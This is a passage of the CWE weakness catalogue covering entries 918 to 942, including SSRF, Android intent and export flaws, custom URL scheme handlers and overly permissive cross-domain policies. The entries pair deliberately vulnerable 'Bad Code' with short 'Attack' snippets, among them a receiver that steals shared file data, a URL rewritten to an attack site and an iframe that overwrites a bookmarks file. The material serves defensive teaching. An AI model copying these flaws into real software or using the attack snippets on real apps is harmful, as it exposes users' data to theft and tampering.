In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

CWE-918: Server-Side Request Forgery (SSRF)

Weakness ID: 918 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Extended Description

By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

Alternate Terms

XSPA

Cross Site Port Attack

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Web-based

Technology Classes

- Web-Server

Common Consequences

Confidentiality
Read application data

Integrity
Execute unauthorized code or commands

Observed Examples

Reference	Description
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.
CVE-2004-2061	CGI script accepts and retrieves incoming URLs.
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	G	441	Unintended Proxy or Intermediary ('Confused Deputy')	**699** **1000** **1003**	755
ChildOf	C	442	Web Problems	699	757

Relationship Notes

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

CWE-920: Improper Restriction of Power Consumption

Weakness ID: 920 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software operates in an environment in which power is a limited resource that cannot be automatically replenished, but the software does not properly restrict the amount of power that its operation consumes.

Extended Description

In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the software itself, and the device might not always be directly attached to a reliable power source. If the software uses too much power too quickly, then this could cause the device (and subsequently, the software) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.

Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:

Display
CPU
Disk I/O
GPS
Sound
Microphone
USB interface

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Availability
DoS: resource consumption (other)
DoS: crash / exit / restart

The power source could be drained, causing the application - and the entire device - to cease functioning.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	**699** **1000**	689

CWE-921: Storage of Sensitive Data in a Mechanism without Access Control

Weakness ID: 921 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software stores sensitive information in a file system or device that does not have built-in access control.

Extended Description

While many modern file systems or devices utilize some form of access control in order to restrict access to data, not all storage mechanisms have this capability. For example, memory cards, floppy disks, CDs, and USB devices are typically made accessible to any user within the system. This can become a problem when sensitive data is stored in these mechanisms in a multi-user environment, because anybody on the system can read or write this data.

On Android devices, external storage is typically globally readable and writable by other applications on the device. External storage may also be easily accessible through the mobile device's USB connection or physically accessible through the device's memory card port.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Confidentiality
Read application data
Read files or directories

Attackers can read sensitive information by accessing the unrestricted storage mechanism.

Integrity
Modify application data
Modify files or directories

Attackers can modify or delete sensitive information by accessing the unrestricted storage mechanism.

CWE-922: Insecure Storage of Sensitive Information

Weakness ID: 922 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software stores sensitive information without properly limiting read or write access by unauthorized actors.

Extended Description

If read access is not properly restricted, then attackers can steal the sensitive information. If write access is not properly restricted, then attackers can modify and possibly delete the data, causing incorrect results and possibly a denial of service.

Time of Introduction

- Architecture and Design
- Implementation
- System Configuration

Applicable Platforms

Languages

- Language-independent

Common Consequences

Confidentiality
Read application data
Read files or directories

Attackers can read sensitive information by accessing the unrestricted storage mechanism.

Integrity
Modify application data
Modify files or directories

Attackers can read sensitive information by accessing the unrestricted storage mechanism.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	664	Improper Control of a Resource Through its Lifetime	**699** **1000**	1028
ParentOf	B	*312*	*Cleartext Storage of Sensitive Information*	*699* *1000*	*555*
ParentOf	B	*921*	*Storage of Sensitive Data in a Mechanism without Access Control*	***699*** ***1000***	*1352*

Relationship Notes

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

Maintenance Notes

This is a high-level node that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions.

CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

Weakness ID: 923 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.

Extended Description

Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint.

While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Common Consequences

Integrity
Confidentiality
Gain privileges / assume identity

If an attacker can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.

Relationships

ParentOf	B	*941*	*Incorrectly Specified Destination in a Communication Channel*	***699*** ***1000***	*1370*

Maintenance Notes

This entry will be made more comprehensive in later CWE versions.

CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Weakness ID: 924 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.

Extended Description

A man-in-the-middle (MITM) attacker might be able to modify the message and spoof the endpoint.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Common Consequences

Integrity
Confidentiality
Gain privileges / assume identity

If an attackers can spoof the endpoint, the attacker gains all the privileges that were intended for the original endpoint.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	345	Insufficient Verification of Data Authenticity	**699** **1000**	601

Maintenance Notes

This entry will be made more comprehensive in later CWE versions.

CWE-925: Improper Verification of Intent by Broadcast Receiver

Weakness ID: 925 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.

Extended Description

Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application. This may lead to unintended behavior.

Alternate Terms

Intent Spoofing

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Integrity
Gain privileges / assume identity

Another application can impersonate the operating system and cause the software to perform an unintended action.

Demonstrative Examples

XML Example: *Bad Code*

```
<manifest package="com.example.vulnerableApplication">
  <application>
  ...
    <receiver android:name=".ShutdownReceiver">
      <intent-filter>
        <action android:name="android.intent.action.ACTION_SHUTDOWN" />
      </intent-filter>
    </receiver>
  ...
  </application>
</manifest>
```

The ShutdownReceiver class will handle the intent:

Java Example: *Bad Code*

```
...
IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);
BroadcastReceiver sReceiver = new ShutDownReceiver();
registerReceiver(sReceiver, filter);
...
public class ShutdownReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(final Context context, final Intent intent) {
    mainActivity.saveLocalData();
    mainActivity.stopActivity();
  }
}
```

Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:

Java Example: *Attack*

```
window.location = examplescheme://method?parameter=value
```

An attacker can use this behavior to cause a denial of service.

Potential Mitigations

Architecture and Design

Before acting on the Intent, check the Intent Action to make sure it matches the expected System action.

Relationships

Maintenance Notes

This entry will be made more comprehensive in later CWE versions.

CWE-926: Improper Export of Android Application Components

Weakness ID: 926 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The Android application exports a component for use by other applications, but does not properly restrict which applications can launch the component or access the data it contains.

Extended Description

The attacks and consequences of improperly exporting a component may depend on the exported component:

If access to an exported Activity is not restricted, any application will be able to launch the activity. This may allow a malicious application to gain access to sensitive information, modify the internal state of the application, or trick a user into interacting with the victim application while believing they are still interacting with the malicious application.

If access to an exported Service is not restricted, any application may start and bind to the Service. Depending on the exposed functionality, this may allow a malicious application to perform unauthorized actions, gain access to sensitive information, or corrupt the internal state of the application.

If access to a Content Provider is not restricted to only the expected applications, then malicious applications might be able to access the sensitive data. Note that in Android before 4.2, the Content Provider is automatically exported unless it has been explicitly declared as NOT exported.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Availability
Integrity
Unexpected state
DoS: crash / exit / restart
DoS: instability
Varies by context

Other applications, possibly untrusted, can launch the Activity.

Availability
Integrity
Unexpected state
Gain privileges / assume identity
DoS: crash / exit / restart
DoS: instability
Varies by context

Other applications, possibly untrusted, can bind to the Service.

Confidentiality
Integrity
Read application data
Modify application data

Other applications, possibly untrusted, can read or modify the data that is offered by the Content Provider.

Demonstrative Examples

Example 1:

This application is exporting an activity and a service in its manifest.xml:

XML Example: *Bad Code*

```
<activity android:name="com.example.vulnerableApp.mainScreen">
  ...
```

```
  <intent-filter>
    <action android:name="com.example.vulnerableApp.OPEN_UI" />
    <category android:name="android.intent.category.DEFAULT" />
  </intent-filter>
  ...
</activity>
<service android:name="com.example.vulnerableApp.backgroundService">
  ...
  <intent-filter>
    <action android:name="com.example.vulnerableApp.START_BACKGROUND" />
  </intent-filter>
  ...
</service>
```

Because these components have intent filters but have not explicitly set 'android:exported=false' elsewhere in the manifest, they are automatically exported so that any other application can launch them. This may lead to unintended behavior or exploits.

Example 2:

This application has created a content provider to enable custom search suggestions within the application:

XML Example: *Bad Code*

```
<provider>
  android:name="com.example.vulnerableApp.searchDB"
  android:authorities="com.example.vulnerableApp.searchDB">
</provider>
```

Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information.

Potential Mitigations

Build and Compilation
Identify and Reduce Attack Surface

If they do not need to be shared by other applications, explicitly mark components with android:exported="false" in the application manifest.

Build and Compilation
Identify and Reduce Attack Surface

If you only intend to use exported components between related apps under your control, use android:protectionLevel="signature" in the xml manifest to restrict access to applications signed by you.

Build and Compilation
Architecture and Design
Identify and Reduce Attack Surface
Separation of Privilege

Limit Content Provider permissions (read/write) as appropriate.

Background Details

There are three types of components that can be exported in an Android application.

An Activity is an application component that provides a UI for users to interact with. A typical application will have multiple Activity screens that perform different functions, such as a main Activity screen and a separate settings Activity screen.

A Service is an application component that is started by another component to execute an operation in the background, even after the invoking component is terminated. Services do not have a UI component visible to the user.

The Content Provider mechanism can be used to share data with other applications or internally within the same application.

CWE-927: Use of Implicit Intent for Sensitive Communication

Weakness ID: 927 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The Android application uses an implicit intent for transmitting sensitive data to other applications.

Extended Description

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Confidentiality
Read application data

Other applications, possibly untrusted, can read the data that is offered through the Intent.

Integrity
Varies by context

The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions.

Demonstrative Examples

Example 1:

This application wants to create a user account in several trusted applications using one broadcast intent:

Java Example: *Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

This application assumes only the trusted applications will be listening for the action. A malicious application can register for this action and intercept the user's login information, as below:

Java Example: *Attack*

```
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

When a broadcast contains sensitive information, create a whitelist of applications that can receive the action using the application's manifest file, or programmatically send the intent to each individual intended receiver.

Example 2:

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

Java Example: *Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

Java Example: *Attack*

```
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

Example 3:

This application is sending an ordered broadcast, asking other applications to open a URL:

Java Example: *Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Any application in the broadcast chain may alter the data within the intent. This malicious application is altering the URL to point to an attack site:

Java Example: *Attack*

```
public class CallReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
    attackURL = "www.example.com/attack?" + Url;
    setResultData(attackURL);
  }
}
```

The final receiving application will then open the attack URL. Where possible, send intents to specific trusted applications instead of using a broadcast chain.

Example 4:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Java Example: *Bad Code*

```
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Java Example: *Attack*

```
public class CallReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
    Uri userData = intent.getData();
    stealUserData(userData);
  }
}
```

Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.

Potential Mitigations

Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)

Category ID: 936 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2013.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf		*352*	*Cross-Site Request Forgery (CSRF)*	***928***	*612*
MemberOf	V	*928*	*Weaknesses in OWASP Top Ten (2013)*	***928***	*1361*

OWASP. "Top 10 2013-A8-Cross-Site Request Forgery (CSRF)". < https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_%28CSRF%29 >.

CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

Category ID: 937 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*928*	*Weaknesses in OWASP Top Ten (2013)*	***928***	*1361*

Relationship Notes

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

References

OWASP. "Top 10 2013-A9-Using Components with Known Vulnerabilities". < https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities >.

CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards

Category ID: 938 *(Category)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2013.

Relationships

CWE-939: Improper Authorization in Handler for Custom URL Scheme

Weakness ID: 939 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses a handler for a custom URL scheme, but it does not properly restrict which actors can invoke the handler using the scheme.

Extended Description

Mobile platforms and other architectures allow the use of custom URL schemes to facilitate communication between applications. In the case of iOS, this is the only method to do inter-application communication. The implementation is at the developer's discretion which may open security flaws in the application. An example could be potentially dangerous functionality such as modifying files through a custom URL scheme.

Applicable Platforms

Architectural Paradigms

- Mobile Application

Demonstrative Examples

Example 1:

This iOS application uses a custom URL scheme. The replaceFileText action in the URL scheme allows an external application to interface with the file incomingMessage.txt and replace the contents with the text field of the query string.

External Application

Objective-C Example: *Good Code*

```
NSString *stringURL = @"appscheme://replaceFileText?file=incomingMessage.txt&text=hello";
NSURL *url = [NSURL URLWithString:stringURL];
[[UIApplication sharedApplication] openURL:url];
```

Application URL Handler

Bad Code

```
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
  if (!url) {
    return NO;
  }
  NSString *action = [url host];
  if([action isEqualToString: @"replaceFileText"]) {
    NSDictionary *dict = [self parseQueryStringExampleFunction:[url query]];
    //this function will write contents to a specified file
    FileObject *objectFile = [self writeToFile:[dict objectForKey: @"file"] withText:[dict objectForKey: @"text"]];
  }
```

```
  return YES;
}
```

The handler has no restriction on who can use its functionality. The handler can be invoked using any method that invokes the URL handler such as the following malicious iframe embedded on a web page opened by Safari.

HTML Example: *Attack*

```
<iframe src="appscheme://replaceFileText?file=Bookmarks.dat&text=listOfMaliciousWebsites">
```

The attacker can host a malicious website containing the iframe and trick users into going to the site via a crafted phishing email. Since Safari automatically executes iframes, the user is not prompted when the handler executes the iframe code which automatically invokes the URL handler replacing the bookmarks file with a list of malicious websites. Since replaceFileText is a potentially dangerous action, an action that modifies data, there should be a sanity check before the writeToFile:withText: function.

Example 2:

These Android and iOS applications intercept URL loading and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Java Example: *Bad Code*

```
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
  if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
    if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
      writeDataToView(view, UserData);
      return false;
    }
    else{
      return true;
    }
  }
}
```

Objective-C Example: *Bad Code*

```
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType
{
  NSURL *URL = [exRequest URL];
  if ([[URL scheme] isEqualToString:@"exampleScheme"])
  {
    NSString *functionString = [URL resourceSpecifier];
    if ([functionString hasPrefix:@"specialFunction"])
    {
      // Make data available back in webview.
      UIWebView *webView = [self writeDataToView:[URL query]];
    }
    return NO;
  }
  return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Javascript Example: *Attack*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2013-5725	URL scheme has action replace which requires no user prompt and allows remote attackers to perform undesired actions.

Reference	Description
CVE-2013-5726	URL scheme has action follow and favorite which allows remote attackers to force user to perform undesired actions.

Potential Mitigations

Architecture and Design

Utilize a user prompt pop-up to authorize potentially harmful actions such as those modifying data or dealing with sensitive information.

When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if a whitelist of applications to interface with is appropriate.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	862	Missing Authorization	**699** **1000**	1303

References

Guillaume Ross. "Scheming for Privacy and Security". 2013-11-11. < http://brooksreview.net/2013/11/guest-post_scheming-for-privacy-and-security/ >.

CWE-940: Improper Verification of Source of a Communication Channel

Weakness ID: 940 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.

Extended Description

When an attacker can successfully establish a communication channel from an untrusted origin, the attacker may be able to gain privileges and access unexpected functionality.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Access Control
Other
Gain privileges / assume identity
Varies by context

An attacker can access any functionality that is inadvertently accessible to the source.

Demonstrative Examples

Example 1:

This Android application will remove a user account when it receives an intent to do so:

Java Example: *Bad Code*

```
IntentFilter filter = new IntentFilter("com.example.RemoveUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
public class DeleteReceiver extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
```

```
    int userID = intent.getIntExtra("userID");
    destroyUserData(userID);
  }
}
```

This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create a whitelist of trusted applications using the manifest.xml file.

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Java Example: *Bad Code*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
  if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
    if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
      writeDataToView(view, UserData);
      return false;
    }
    else{
      return true;
    }
  }
}
```

Objective-C Example: *Bad Code*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest
navigationType:(UIWebViewNavigationType)exNavigationType
{
  NSURL *URL = [exRequest URL];
  if ([[URL scheme] isEqualToString:@"exampleScheme"])
  {
    NSString *functionString = [URL resourceSpecifier];
    if ([functionString hasPrefix:@"specialFunction"])
    {
      // Make data available back in webview.
      UIWebView *webView = [self writeDataToView:[URL query]];
    }
    return NO;
  }
  return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Javascript Example: *Attack*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Observed Examples

Reference	Description
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning

Potential Mitigations

Architecture and Design

Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using a man-in-the-middle attack.

When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if a whitelist of applications to interface with is appropriate.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	**699** **1000**	1354

Relationship Notes

While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any "user" in such cases.

References

Taimur Aslam. "A Taxonomy of Security Faults in the UNIX Operating System". 1995-08-01. < http://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf >.

CWE-941: Incorrectly Specified Destination in a Communication Channel

Weakness ID: 941 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.

Extended Description

Attackers at the destination may be able to spoof trusted servers to steal data or cause a denial of service.

There are at least two distinct weaknesses that can cause the software to communicate with an unintended destination:

If the software allows an attacker to control which destination is specified, then the attacker can cause it to connect to an untrusted or malicious destination. For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS). As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.

If the software incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted servers. While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses. For example, the software might incorrectly parse an e-mail or IP address and send sensitive data to an unintended destination. As another example, an Android application may use a "sticky broadcast" to communicate with a receiver for a particular application, but since sticky broadcasts can be processed by *any* receiver, this can allow a malicious application to access restricted data that was only intended for a different application.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Demonstrative Examples

This code listens on a port for DNS requests and sends the result to the requesting address.

Python Example: *Bad Code*

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
  data = sock.recvfrom(1024)
  if not data:
    break
  (requestIP, nameToResolve) = parseUDPpacket(data)
  record = resolveName(nameToResolve)
  sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

Reference	Description
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	B	406	Insufficient Control of Network Message Volume (Network Amplification)	1000	705
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	**699** **1000**	1354

Maintenance Notes

This entry will be made more comprehensive in later CWE versions.

CWE-942: Overly Permissive Cross-domain Whitelist

Weakness ID: 942 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses a cross-domain policy file that includes domains that should not be trusted.

Extended Description

A cross-domain policy file ("crossdomain.xml" in Flash and "clientaccesspolicy.xml" in Silverlight) defines a whitelist of domains from which a server is allowed to make cross-domain requests. When making a cross-domain request, the Flash or Silverlight client will first look for the policy file on the target server. If it is found, and the domain hosting the application is explicitly allowed to make requests, the request is made.

Therefore, if a cross-domain policy file includes domains that should not be trusted, such as when using wildcards, then the application could be attacked by these untrusted domains.

An overly permissive policy file allows many of the same attacks seen in Cross-Site Scripting (CWE-79). Once the user has executed a malicious Flash or Silverlight application, they are vulnerable to a variety of attacks. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site.

In many cases, the attack can be launched without the victim even being aware of it.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Web-based

Common Consequences

Confidentiality
Integrity
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
Read application data
Varies by context

An attacker may be able to bypass the web browser's same-origin policy.

An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

Demonstrative Examples

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

Bad Code

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*"/>
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

```
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

Observed Examples

Reference	Description
CVE-2007-6243	Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks.
CVE-2008-4822	Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy.
CVE-2010-3636	Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors.
CVE-2012-2292	Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy.
CVE-2014-2049	The default Flash Cross Domain policies in a product allows remote attackers to access user files.

Potential Mitigations

Architecture and Design
Identify and Reduce Attack Surface

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Architecture and Design
Operation
Environment Hardening
Identify and Reduce Attack Surface

